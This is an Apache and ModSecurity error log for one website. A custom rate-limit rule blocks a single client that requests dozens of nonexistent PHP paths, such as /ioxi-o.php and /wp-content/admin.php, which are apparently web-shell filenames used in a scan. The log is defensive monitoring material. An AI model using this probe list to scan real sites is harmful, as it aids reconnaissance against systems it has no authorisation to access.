[Sun Apr 26 01:36:37.802604 2026] [:error] [pid 3212:tid 3234] [client 20.199.101.230:55078] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aez7pfg-28TY8_YLtUe_LwAAARQ"]
[Sun Apr 26 01:36:38.642936 2026] [:error] [pid 3212:tid 3222] [client 20.199.101.230:52670] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aez7pvg-28TY8_YLtUe_MQAAAQg"]
[Sun Apr 26 01:36:39.422312 2026] [:error] [pid 3212:tid 3216] [client 20.199.101.230:52647] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aez7p_g-28TY8_YLtUe_NQAAAQI"]
[Sun Apr 26 01:36:40.052988 2026] [:error] [pid 59985:tid 60002] [client 20.199.101.230:53315] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aez7qAF_zDvEhKvyTH7_-wAAAA8"]
[Sun Apr 26 01:36:41.331101 2026] [:error] [pid 59896:tid 59918] [client 20.199.101.230:44619] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aez7qbLLzhtkd-OXUgBWzwAAAFI"]
[Sun Apr 26 01:36:42.146805 2026] [:error] [pid 3212:tid 3233] [client 20.199.101.230:29862] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aez7qvg-28TY8_YLtUe_PAAAARM"]
[Sun Apr 26 01:36:42.747039 2026] [:error] [pid 3212:tid 3215] [client 20.199.101.230:59878] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aez7qvg-28TY8_YLtUe_PQAAAQE"]
[Sun Apr 26 01:36:43.335891 2026] [:error] [pid 3212:tid 3214] [client 20.199.101.230:59092] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aez7q_g-28TY8_YLtUe_QQAAAQA"]
[Sun Apr 26 01:36:44.005683 2026] [:error] [pid 3212:tid 3229] [client 20.199.101.230:48900] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aez7rPg-28TY8_YLtUe_RQAAAQ8"]
[Sun Apr 26 01:36:44.621859 2026] [:error] [pid 59897:tid 59933] [client 20.199.101.230:52657] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aez7rPBrrkdzpEbmK4fB0QAAAIY"]
[Sun Apr 26 01:36:45.395397 2026] [:error] [pid 59898:tid 59970] [client 20.199.101.230:53368] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aez7rR-4vImxb0kbdzfeRQAAANA"]
[Sun Apr 26 01:36:46.168557 2026] [:error] [pid 59985:tid 59999] [client 20.199.101.230:49691] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aez7rgF_zDvEhKvyTH4AAQAAAAw"]
[Sun Apr 26 01:36:47.188069 2026] [:error] [pid 59898:tid 59961] [client 20.199.101.230:16047] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aez7rx-4vImxb0kbdzfeSgAAAMc"]
[Sun Apr 26 01:36:47.833484 2026] [:error] [pid 3212:tid 3226] [client 20.199.101.230:59129] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aez7r_g-28TY8_YLtUe_TQAAAQw"]
[Sun Apr 26 01:36:48.827871 2026] [:error] [pid 59985:tid 59992] [client 20.199.101.230:29861] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aez7sAF_zDvEhKvyTH4ABwAAAAU"]
[Sun Apr 26 01:36:49.617831 2026] [:error] [pid 3212:tid 3228] [client 20.199.101.230:43735] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aez7sfg-28TY8_YLtUe_VAAAAQ4"]
[Sun Apr 26 01:36:50.253775 2026] [:error] [pid 3212:tid 3216] [client 20.199.101.230:55048] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aez7svg-28TY8_YLtUe_VwAAAQI"]
[Sun Apr 26 01:36:50.882347 2026] [:error] [pid 59896:tid 59923] [client 20.199.101.230:9358] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aez7srLLzhtkd-OXUgBW2wAAAFc"]
[Sun Apr 26 01:36:51.654270 2026] [:error] [pid 3212:tid 3237] [client 20.199.101.230:43723] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aez7s_g-28TY8_YLtUe_XgAAARc"]
[Sun Apr 26 01:36:52.951910 2026] [:error] [pid 3212:tid 3218] [client 20.199.101.230:49713] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aez7tPg-28TY8_YLtUe_ZwAAAQQ"]
[Sun Apr 26 01:36:53.499181 2026] [:error] [pid 3212:tid 3224] [client 20.199.101.230:48729] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aez7tfg-28TY8_YLtUe_aAAAAQo"]
[Sun Apr 26 01:36:54.072698 2026] [:error] [pid 3212:tid 3226] [client 20.199.101.230:39580] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aez7tvg-28TY8_YLtUe_bwAAAQw"]
[Sun Apr 26 01:36:54.752483 2026] [:error] [pid 59897:tid 59933] [client 20.199.101.230:59133] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aez7tvBrrkdzpEbmK4fB3AAAAIY"]
[Sun Apr 26 01:36:55.482992 2026] [:error] [pid 59896:tid 59917] [client 20.199.101.230:52613] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aez7t7LLzhtkd-OXUgBW3gAAAFE"]
[Sun Apr 26 01:36:56.329731 2026] [:error] [pid 59896:tid 59915] [client 20.199.101.230:45430] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aez7uLLLzhtkd-OXUgBW4wAAAE8"]
[Sun Apr 26 01:36:56.935040 2026] [:error] [pid 59896:tid 59924] [client 20.199.101.230:49703] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aez7uLLLzhtkd-OXUgBW5gAAAFg"]
[Sun Apr 26 01:36:57.591072 2026] [:error] [pid 59897:tid 59940] [client 20.199.101.230:48917] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aez7ufBrrkdzpEbmK4fB4QAAAI0"]
[Sun Apr 26 01:37:00.194150 2026] [:error] [pid 59898:tid 59975] [client 20.199.101.230:52616] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aez7vB-4vImxb0kbdzfeZgAAANU"]
[Sun Apr 26 01:37:00.960126 2026] [:error] [pid 59896:tid 59907] [client 20.199.101.230:40054] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aez7vLLLzhtkd-OXUgBXFQAAAEc"]
[Sun Apr 26 01:37:01.552920 2026] [:error] [pid 59985:tid 60004] [client 20.199.101.230:48927] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aez7vQF_zDvEhKvyTH4AEAAAABE"]
[Sun Apr 26 01:37:02.184711 2026] [:error] [pid 3212:tid 3236] [client 20.199.101.230:2575] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aez7vvg-28TY8_YLtUe_kgAAARY"]
[Sun Apr 26 01:37:02.892853 2026] [:error] [pid 3212:tid 3234] [client 20.199.101.230:55073] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aez7vvg-28TY8_YLtUe_lwAAARQ"]
[Sun Apr 26 01:37:03.811567 2026] [:error] [pid 3212:tid 3228] [client 20.199.101.230:16017] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aez7v_g-28TY8_YLtUe_mgAAAQ4"]
[Sun Apr 26 01:37:04.948516 2026] [:error] [pid 3212:tid 3215] [client 20.199.101.230:40056] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aez7wPg-28TY8_YLtUe_pQAAAQE"]
[Sun Apr 26 01:37:05.548517 2026] [:error] [pid 59898:tid 59971] [client 20.199.101.230:55090] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aez7wR-4vImxb0kbdzfedQAAANE"]
[Sun Apr 26 01:37:06.129457 2026] [:error] [pid 59898:tid 59956] [client 20.199.101.230:56273] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aez7wh-4vImxb0kbdzfedwAAAMI"]
[Sun Apr 26 01:37:06.738331 2026] [:error] [pid 59896:tid 59905] [client 20.199.101.230:53335] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aez7wrLLzhtkd-OXUgBXGgAAAEU"]
[Sun Apr 26 01:37:07.425754 2026] [:error] [pid 59896:tid 59907] [client 20.199.101.230:17565] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aez7w7LLzhtkd-OXUgBXHAAAAEc"]
[Sun Apr 26 01:37:07.991144 2026] [:error] [pid 3212:tid 3214] [client 20.199.101.230:34984] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aez7w_g-28TY8_YLtUe_rAAAAQA"]
[Sun Apr 26 01:37:08.580164 2026] [proxy_fcgi:error] [pid 59896:tid 59900] [client 20.199.101.230:59859] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:37:09.196154 2026] [proxy_fcgi:error] [pid 59896:tid 59920] [client 20.199.101.230:59859] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:37:09.509561 2026] [proxy_fcgi:error] [pid 59896:tid 59902] [client 20.199.101.230:59859] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:37:10.082276 2026] [proxy_fcgi:error] [pid 59896:tid 59923] [client 20.199.101.230:59859] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:37:10.326181 2026] [proxy_fcgi:error] [pid 59896:tid 59904] [client 20.199.101.230:59859] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:37:11.105227 2026] [proxy_fcgi:error] [pid 59896:tid 59911] [client 20.199.101.230:59859] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:37:11.344332 2026] [proxy_fcgi:error] [pid 59896:tid 59909] [client 20.199.101.230:59859] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 01:37:11.579926 2026] [:error] [pid 59896:tid 59910] [client 20.199.101.230:59859] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aez7x7LLzhtkd-OXUgBXMgAAAEo"]
[Sun Apr 26 01:37:12.103944 2026] [:error] [pid 59898:tid 59954] [client 20.199.101.230:52669] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aez7yB-4vImxb0kbdzfeeAAAAMA"]
[Sun Apr 26 01:37:13.025556 2026] [:error] [pid 59985:tid 60001] [client 20.199.101.230:49679] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aez7yQF_zDvEhKvyTH4AMQAAAA4"]
[Sun Apr 26 01:37:13.759635 2026] [:error] [pid 3212:tid 3227] [client 20.199.101.230:16031] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aez7yfg-28TY8_YLtUe_tgAAAQ0"]
[Sun Apr 26 01:37:14.362801 2026] [:error] [pid 59985:tid 60011] [client 20.199.101.230:43760] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aez7ygF_zDvEhKvyTH4ANQAAABg"]
[Sun Apr 26 01:37:15.000131 2026] [:error] [pid 59985:tid 59990] [client 20.199.101.230:48954] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aez7ygF_zDvEhKvyTH4ANwAAAAM"]
[Sun Apr 26 01:37:15.710519 2026] [:error] [pid 59897:tid 59937] [client 20.199.101.230:43773] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aez7y_BrrkdzpEbmK4fB7QAAAIo"]
[Sun Apr 26 01:37:16.472839 2026] [:error] [pid 59897:tid 59945] [client 20.199.101.230:29829] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aez7zPBrrkdzpEbmK4fB8AAAAJI"]
[Sun Apr 26 01:37:17.289468 2026] [:error] [pid 59898:tid 59959] [client 20.199.101.230:17583] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aez7zR-4vImxb0kbdzfeegAAAMU"]
[Sun Apr 26 01:37:18.089507 2026] [:error] [pid 59896:tid 59900] [client 20.199.101.230:43712] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aez7zrLLzhtkd-OXUgBXPwAAAEA"]
[Sun Apr 26 01:37:18.708991 2026] [:error] [pid 3212:tid 3234] [client 20.199.101.230:29828] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aez7zvg-28TY8_YLtUe_wgAAARQ"]
[Sun Apr 26 01:37:19.428107 2026] [:error] [pid 59898:tid 59978] [client 20.199.101.230:43746] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aez7zx-4vImxb0kbdzfefQAAANg"]
[Sun Apr 26 01:37:20.118367 2026] [:error] [pid 59896:tid 59919] [client 20.199.101.230:29857] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aez70LLLzhtkd-OXUgBXRwAAAFM"]
[Sun Apr 26 01:37:20.793358 2026] [:error] [pid 59896:tid 59917] [client 20.199.101.230:48897] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aez70LLLzhtkd-OXUgBXTgAAAFE"]
[Sun Apr 26 01:37:21.571038 2026] [:error] [pid 59985:tid 59994] [client 20.199.101.230:59886] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aez70QF_zDvEhKvyTH4APgAAAAc"]
